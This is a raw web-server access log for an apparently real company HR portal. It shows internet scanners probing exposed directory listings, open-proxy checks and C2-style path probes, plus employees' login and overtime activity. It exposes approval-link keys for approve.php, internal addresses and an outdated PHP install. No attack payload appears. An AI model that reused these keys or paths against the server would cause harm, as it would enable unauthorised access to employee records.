HTTP/1.1" 301 313 100.64.0.1 - - [02/Dec/2025:14:03:17 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9/ HTTP/1.1" 200 528 "http://202.111.43.170:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:14:03:17 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9/ HTTP/1.1" 200 528 100.64.0.1 - - [02/Dec/2025:14:03:18 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8 HTTP/1.1" 301 313 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:14:03:18 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8 HTTP/1.1" 301 313 100.64.0.1 - - [02/Dec/2025:14:03:19 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8/ HTTP/1.1" 200 528 "http://202.111.43.170:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:14:03:19 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8/ HTTP/1.1" 200 528 100.64.0.1 - - [02/Dec/2025:14:03:20 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 274 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:14:03:20 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 274 100.64.0.1 - - [02/Dec/2025:14:03:23 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:14:03:23 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:14:03:26 +0800] "PRI * HTTP/2.0" 400 226 "-" "-" 100.64.0.1 - - [02/Dec/2025:14:03:26 +0800] "PRI * HTTP/2.0" 400 226 100.64.0.1 - - [02/Dec/2025:14:04:17 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [02/Dec/2025:14:04:17 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:14:04:24 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [02/Dec/2025:14:04:24 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:14:04:28 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:14:04:28 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:14:04:29 +0800] "GET /eHR1 HTTP/1.1" 301 240 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:14:04:29 +0800] "GET /eHR1 HTTP/1.1" 301 240 100.64.0.1 - - [02/Dec/2025:14:04:30 +0800] "GET /eHR1/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/eHR1" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:14:04:30 +0800] "GET /eHR1/ HTTP/1.1" 200 649 100.64.0.1 - - [02/Dec/2025:14:04:30 +0800] "GET /idcard HTTP/1.1" 301 242 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:14:04:30 +0800] "GET /idcard HTTP/1.1" 301 242 100.64.0.1 - - [02/Dec/2025:14:04:31 +0800] "GET /idcard/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/idcard" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:14:04:31 +0800] "GET /idcard/ HTTP/1.1" 200 649 100.64.0.1 - - [02/Dec/2025:14:04:32 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 266 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:14:04:32 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 266 100.64.0.1 - - [02/Dec/2025:14:04:32 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "http://202.111.43.170:8088/Apache%20Software%20Foundation" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:14:04:32 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 100.64.0.1 - - [02/Dec/2025:14:04:33 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 274 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:14:04:33 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 274 100.64.0.1 - - [02/Dec/2025:14:04:33 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25237 "http://202.111.43.170:8088/Apache%20Software%20Foundation/emphoto" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:14:04:33 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25237 100.64.0.1 - - [02/Dec/2025:14:04:35 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 283 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:14:04:35 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 283 100.64.0.1 - - [02/Dec/2025:14:04:36 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:14:04:36 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217 100.64.0.1 - - [02/Dec/2025:14:04:37 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR HTTP/1.1" 301 288 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:14:04:37 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR HTTP/1.1" 301 288 192.168.11.76 - - [02/Dec/2025:14:05:22 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [02/Dec/2025:14:05:22 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.76 - - [02/Dec/2025:14:05:25 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [02/Dec/2025:14:05:25 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.76 - - [02/Dec/2025:14:05:30 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [02/Dec/2025:14:05:30 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.76 - - [02/Dec/2025:14:05:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [02/Dec/2025:14:05:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.76 - - [02/Dec/2025:14:05:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [02/Dec/2025:14:05:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.76 - - [02/Dec/2025:14:05:46 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.38088816685654026 HTTP/1.1" 200 8640 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [02/Dec/2025:14:05:46 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.38088816685654026 HTTP/1.1" 200 8640 192.168.11.76 - - [02/Dec/2025:14:05:54 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.38088816685654026 HTTP/1.1" 200 14074 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.38088816685654026" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [02/Dec/2025:14:05:54 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.38088816685654026 HTTP/1.1" 200 14074 100.64.0.1 - - [02/Dec/2025:14:06:14 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [02/Dec/2025:14:06:14 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [02/Dec/2025:14:06:15 +0800] "GET /login HTTP/1.1" 404 203 100.64.0.1 - - [02/Dec/2025:14:06:15 +0800] "GET /login HTTP/1.1" 404 203 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 192.168.11.76 - - [02/Dec/2025:14:06:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4287 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [02/Dec/2025:14:06:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4287 192.168.11.76 - - [02/Dec/2025:14:06:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7573 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [02/Dec/2025:14:06:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7573 192.168.11.76 - - [02/Dec/2025:14:06:26 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 167712 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [02/Dec/2025:14:06:26 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 167712 100.64.0.1 - - [02/Dec/2025:14:06:32 +0800] "GET /robots.txt HTTP/1.1" 404 208 100.64.0.1 - - [02/Dec/2025:14:06:32 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [02/Dec/2025:14:06:34 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/koi8-u.so HTTP/1.1" 200 24669 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [02/Dec/2025:14:06:34 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/koi8-u.so HTTP/1.1" 200 24669 100.64.0.1 - - [02/Dec/2025:14:14:40 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E87693E28D2EF965A9C15ACB348D3CD905E563C46F9FCF6CC976ADD293CE1F1C1BBEDC04EA7841E867A4515439720AE720C8E7FA99CDFFB31AE HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [02/Dec/2025:14:14:40 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E87693E28D2EF965A9C15ACB348D3CD905E563C46F9FCF6CC976ADD293CE1F1C1BBEDC04EA7841E867A4515439720AE720C8E7FA99CDFFB31AE HTTP/1.1" 200 - 192.168.185.139 - - [02/Dec/2025:14:14:43 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E87693E28D2EF965A9C15ACB348D3CD905E563C46F9FCF6CC976ADD293CE1F1C1BBEDC04EA7841E867A4515439720AE720C8E7FA99CDFFB31AE HTTP/1.1" 200 4346 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" 192.168.185.139 - - [02/Dec/2025:14:14:43 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E87693E28D2EF965A9C15ACB348D3CD905E563C46F9FCF6CC976ADD293CE1F1C1BBEDC04EA7841E867A4515439720AE720C8E7FA99CDFFB31AE HTTP/1.1" 200 4346 192.168.185.139 - - [02/Dec/2025:14:14:43 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 192.168.185.139 - - [02/Dec/2025:14:14:43 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E87693E28D2EF965A9C15ACB348D3CD905E563C46F9FCF6CC976ADD293CE1F1C1BBEDC04EA7841E867A4515439720AE720C8E7FA99CDFFB31AE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" 100.64.0.1 - - [02/Dec/2025:14:14:49 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E87693E28D2EF965A9C15ACB348D3CD905E563C46F9FCF6CC978DA4DDBEEB8D4E90CBBF03C0E844FC3914CEBEB56B75E4E3D2CC2822718EE295 HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [02/Dec/2025:14:14:49 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E87693E28D2EF965A9C15ACB348D3CD905E563C46F9FCF6CC978DA4DDBEEB8D4E90CBBF03C0E844FC3914CEBEB56B75E4E3D2CC2822718EE295 HTTP/1.1" 200 - 192.168.185.139 - - [02/Dec/2025:14:14:50 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E87693E28D2EF965A9C15ACB348D3CD905E563C46F9FCF6CC978DA4DDBEEB8D4E90CBBF03C0E844FC3914CEBEB56B75E4E3D2CC2822718EE295 HTTP/1.1" 200 4346 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" 192.168.185.139 - - [02/Dec/2025:14:14:50 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E87693E28D2EF965A9C15ACB348D3CD905E563C46F9FCF6CC978DA4DDBEEB8D4E90CBBF03C0E844FC3914CEBEB56B75E4E3D2CC2822718EE295 HTTP/1.1" 200 4346 192.168.185.139 - - [02/Dec/2025:14:14:50 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E87693E28D2EF965A9C15ACB348D3CD905E563C46F9FCF6CC978DA4DDBEEB8D4E90CBBF03C0E844FC3914CEBEB56B75E4E3D2CC2822718EE295" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" 192.168.185.139 - - [02/Dec/2025:14:14:50 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 100.64.0.1 - - [02/Dec/2025:14:14:55 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E87693E28D2EF965A9C15ACB348D3CD905E563C46F9FCF6CC976DAD9A494BBDC378C173283E1E4EBCDAA937103D25544897408C884E93CA8362 HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [02/Dec/2025:14:14:55 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E87693E28D2EF965A9C15ACB348D3CD905E563C46F9FCF6CC976DAD9A494BBDC378C173283E1E4EBCDAA937103D25544897408C884E93CA8362 HTTP/1.1" 200 - 100.64.0.1 - - [02/Dec/2025:14:28:04 +0800] "\x03" 501 203 "-" "-" 100.64.0.1 - - [02/Dec/2025:14:28:04 +0800] "\x03" 501 203 100.64.0.1 - - [02/Dec/2025:14:29:58 +0800] "\x03" 501 203 100.64.0.1 - - [02/Dec/2025:14:29:58 +0800] "\x03" 501 203 "-" "-" 100.64.0.1 - - [02/Dec/2025:14:49:07 +0800] "GET /z9w2 HTTP/1.1" 404 202 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0" 100.64.0.1 - - [02/Dec/2025:14:49:07 +0800] "GET /z9w2 HTTP/1.1" 404 202 100.64.0.1 - - [02/Dec/2025:14:49:08 +0800] "GET /rCEc HTTP/1.1" 404 202 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0" 100.64.0.1 - - [02/Dec/2025:14:49:08 +0800] "GET /rCEc HTTP/1.1" 404 202 100.64.0.1 - - [02/Dec/2025:14:49:08 +0800] "GET /aab8 HTTP/1.1" 404 202 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0" 100.64.0.1 - - [02/Dec/2025:14:49:08 +0800] "GET /aab8 HTTP/1.1" 404 202 100.64.0.1 - - [02/Dec/2025:14:49:10 +0800] "GET /jquery-3.3.1.slim.min.js HTTP/1.1" 404 222 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0" 100.64.0.1 - - [02/Dec/2025:14:49:10 +0800] "GET /jquery-3.3.1.slim.min.js HTTP/1.1" 404 222 100.64.0.1 - - [02/Dec/2025:14:49:10 +0800] "GET /aab9 HTTP/1.1" 404 202 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0" 100.64.0.1 - - [02/Dec/2025:14:49:10 +0800] "GET /aab9 HTTP/1.1" 404 202 100.64.0.1 - - [02/Dec/2025:14:49:10 +0800] "GET /jquery-3.3.2.slim.min.js HTTP/1.1" 404 222 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0" 100.64.0.1 - - [02/Dec/2025:14:49:10 +0800] "GET /jquery-3.3.2.slim.min.js HTTP/1.1" 404 222 100.64.0.1 - - [02/Dec/2025:14:53:14 +0800] "GET / HTTP/1.0" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 100.64.0.1 - - [02/Dec/2025:14:53:14 +0800] "GET / HTTP/1.0" 200 439 100.64.0.1 - - [02/Dec/2025:15:06:12 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA10456266F4141EBDEF72438CFB2B22CFBF1F0B7E63B027874355C4D15F12830D8D5222A4B35DBCA09CE7F888F72E97A778D1EDA0CA9A34A2E HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [02/Dec/2025:15:06:12 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA10456266F4141EBDEF72438CFB2B22CFBF1F0B7E63B027874355C4D15F12830D8D5222A4B35DBCA09CE7F888F72E97A778D1EDA0CA9A34A2E HTTP/1.1" 200 - 100.64.0.1 - - [02/Dec/2025:15:06:15 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA10456266F4141EBDEF72438CFB2B22CFBF1F0B7E63B027874355C4D15F12830D8D5222A4B35DBCA09CE7F888F72E97A778D1EDA0CA9A34A2E HTTP/1.1" 200 4166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [02/Dec/2025:15:06:15 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA10456266F4141EBDEF72438CFB2B22CFBF1F0B7E63B027874355C4D15F12830D8D5222A4B35DBCA09CE7F888F72E97A778D1EDA0CA9A34A2E HTTP/1.1" 200 4166 100.64.0.1 - - [02/Dec/2025:15:06:16 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA10456266F4141EBDEF72438CFB2B22CFBF1F0B7E63B027874355C4D15F12830D8D5222A4B35DBCA09CE7F888F72E97A778D1EDA0CA9A34A2E" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [02/Dec/2025:15:06:16 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 192.168.11.96 - - [02/Dec/2025:15:07:57 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.96 - - [02/Dec/2025:15:07:57 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [02/Dec/2025:15:07:58 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [02/Dec/2025:15:07:58 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.96 - - [02/Dec/2025:15:08:02 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [02/Dec/2025:15:08:02 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.96 - - [02/Dec/2025:15:08:07 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [02/Dec/2025:15:08:07 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.96 - - [02/Dec/2025:15:08:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [02/Dec/2025:15:08:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.96 - - [02/Dec/2025:15:08:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [02/Dec/2025:15:08:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 192.168.11.96 - - [02/Dec/2025:15:08:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166403 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [02/Dec/2025:15:08:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166403 192.168.11.96 - - [02/Dec/2025:15:08:46 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=view_flowchart&apply_type=overtime&flow_seqno=1362713 HTTP/1.1" 200 5601 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [02/Dec/2025:15:08:46 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=view_flowchart&apply_type=overtime&flow_seqno=1362713 HTTP/1.1" 200 5601 100.64.0.1 - - [02/Dec/2025:15:14:22 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.27 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/601.1.27" 100.64.0.1 - - [02/Dec/2025:15:14:22 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:15:15:20 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [02/Dec/2025:15:15:20 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Dalvik/2.1.0 (Linux; U; Android 9.0; ZTE BA520 Build/MRA58K)" 100.64.0.1 - - [02/Dec/2025:15:16:07 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092000 Ubuntu/8.04 (hardy) 